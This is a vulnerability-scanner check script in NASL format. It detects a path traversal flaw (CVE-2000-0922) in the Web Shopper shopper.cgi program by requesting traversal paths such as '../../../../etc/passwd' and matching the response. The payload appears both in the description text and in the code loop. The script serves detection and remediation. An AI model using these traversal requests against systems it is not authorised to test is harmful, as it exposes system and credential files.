Web Shopper Remote File Retrieval Vulnerability - Active Check

# SPDX-FileCopyrightText: 2000 Thomas Reinke
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10533");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1776");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2000-0922");
  script_name("Web Shopper Remote File Retrieval Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2000 Thomas Reinke");
  script_family("Remote file access");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Uncomment the #$debug=1 variable in the script
  so that it will check for, and disallow, viewing of arbitrary files.");

  script_tag(name:"summary", value:"Byte's Interactive Web Shopper
  (shopper.cgi) allows for retrieval of arbitrary files from the web server.
  Both Versions 1.0 and 2.0 are affected.

  Example: GET /cgi-bin/shopper.cgi?newpage=../../../../etc/passwd

  will return /etc/passwd.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"Mitigation");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );

files = traversal_files( "linux" );

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  url = dir + "/shopper.cgi";
  res = http_get_cache( port:port, item:url );
  if( ! res || res !~ "^HTTP/1\.[01] 200" )
    continue;

  foreach file( keys( files ) ) {

    url = dir + "/shopper.cgi?newpage=../../../../../../" + files[file];

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );